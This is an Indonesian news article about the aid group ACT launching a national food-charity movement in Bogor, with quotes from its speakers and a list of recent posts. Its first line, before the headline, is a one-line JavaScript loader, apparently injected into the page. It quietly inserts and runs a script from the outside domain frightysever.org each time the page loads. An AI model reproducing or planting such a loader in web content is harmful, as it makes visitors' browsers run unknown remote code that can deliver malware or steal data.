(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

ACT Launching Gerakan Sedekah Pangan Nasional


KANALKALIMANTAN.COM, BOGOR – Aksi Cepat Tanggap (ACT) Launching Gerakan Sedekah Pangan Nasional (GSPN) yang berlangsung via virtual dan offline di Gedung WDC (Wakaf Distribution Center), Desa Kranggan, Kecamatan Gunung Putri, Kabupaten Bogor.

Presiden Global Wakaf Foundation M. Imam Akbari dalam sambutannya menyampaikan bahwa wakaf sebagai sebuah gerakan ekonomi produktif harusnya bisa memberikan solusi komprehensif atas segala permasalahan yang timbul di masyarakat khususnya problematika kemiskinan.

“Hari ini menjadi bahaya laten buat umat, buat bangsa dan harus kita solusi dengan solusi terbaik, dan tidak ada solusi terbaik selain solusi dari-NYA, selain solusi dari yang menciptakan kehidupan ini, yang menciptakan alam semesta, yang paling tahu bagaimana manusia harusnya berkarya bagaimana manusia harus bergerak, bagaimana manusia sesamanya harus saling membantu dan berbagi,” kata Imam Akbari.

Menurutnya wakaf adalah kunci bagaimana kejayaan ekonomi produktif ini harus benar-benar kita bangun dan WDC dengan segenap fasilitasnya dan dukungan dari sahabat wakaf dimanapun berada.
“Semoga Allah SWT memberkahi kita semua dan membalas setiap kebaikan para sahabat wakaf dengan kebaikan yang tak terhenti walaupun kita sudah berpulang,” tuturnya.

 

Pangan adalah kebutuhan dasar dan ketika problematika kemiskinan kemudian pandemi yang mungkin sudah hampir 1 tahun terjadi tidak hanya di bangsa kita juga menimpa saudara kita di berbagai belahan dunia.

“Dalam indeks dunia Indonesia di posisi 60 dari 67 negara, kita di posisi yang jauh dari negara Afrika sekalipun, padahal negeri kita negeri yang gemah ripah lo jinawi, maka ini adalah momentum kita bangkit dan wakaf adalah solusinya,” tambahnya.

Ahyudin selaku Ketua Dewan pembina ACT menjelaskan dalam sambutannya bahwa hari ini bukan cuma bangsa kita yang menghadapi banyak masalah, dunia sedang dalam lilitan persoalan yang luar biasa, sesungguhnya apapun yang menimpa dunia dan bangsa ini sesungguhnya di perbuat manusia sendiri.

”Kami sebagai lembaga kemanusiaan terus merenungi perjalanan agenda kemanusiaan, dan alhamdulillah kami punya keyakinan yang baru biar lebih menyemangati,” ujarnya.

Ahyudin menambahkan, bahwa tidak ada obat yang ampuh untuk semua jenis penyakit termasuk penyakit peradaban bangsa maka jawabannya itu sedekah.

“Kami hadirkan gerakan sedekah pangan nasional, bukan gerakan nasional sedekah pangan. Sebab kalau narasinya diawali gerakan nasional politik itu sudah,” tutupnya.
(Kanalkalimantan/Tius)

Reporter: tius
Editor: cell


Al Ghifari

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

5 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

7 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

8 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

9 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.